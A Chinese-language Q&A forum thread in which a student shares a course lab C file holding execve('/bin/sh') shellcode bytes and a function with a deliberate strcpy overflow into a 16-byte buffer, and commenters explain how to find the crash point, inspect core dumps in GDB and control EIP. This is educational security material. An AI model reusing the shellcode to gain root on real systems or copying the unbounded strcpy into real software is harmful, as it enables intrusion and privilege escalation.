2
我已经给了一个C代码文件,其中给出正确的输入发生缓冲区溢出,然后授予root访问权限。这是一个使用ZShell的Fedora bug。为了测试这个(安全主题),我们禁用了Linux内核中启用的随机内存地址分配。测试缓冲区溢出
我被要求测试不同的输入,直到出现分段故障,其中输入是缓冲区大小。我没有得到的是,为什么我应该用不同的值进行测试?我不确定代码会有帮助,但我不知道改变输入的重点。
/* vulnerable.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char buf[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
/* -------------------------------------------------- */
void vuln(char * buf)
{
char a[16] = { 0 };
strcpy(a, buf);
}
int main(int argc, char * argv[])
{
int *ret;
if (argc != 2)
{
printf("Usage: %s <input>\n", argv[0]);
exit(1);
}
vuln(argv[1]);
printf("%p\n", buf);
return 0;
}
要开始,我会建议尝试溢出'valgrind'中的输入并查看堆栈值等。但是,您是否编写了程序集并自己获取了字节码?这样做可能更有意义。另外,确保你有一个可执行的堆栈。改变输入点最有可能确定堆栈发生了什么。 – RageD
你知道*什么时候会出现分段错误?你知道如何在不改变输入的情况下导致它,或者提供不同的输入吗?实验。 –
你可能有一些笔记与作业一起去。他们可能在某个时候讨论堆栈布局,重新阅读它们。当调用'vuln'函数时,堆栈中有一些空间用于(除其他外)数组'a'和返回地址。当您尝试将更多数据写入'a'时,会发生什么情况比适合?输入一些容易识别的数据作为输入。获取段错误并保存核心转储。在GDB中打开核心转储。现在看看寄存器。通过改变输入的长度来查看是否可以获得特定的值以显示在EIP中。 –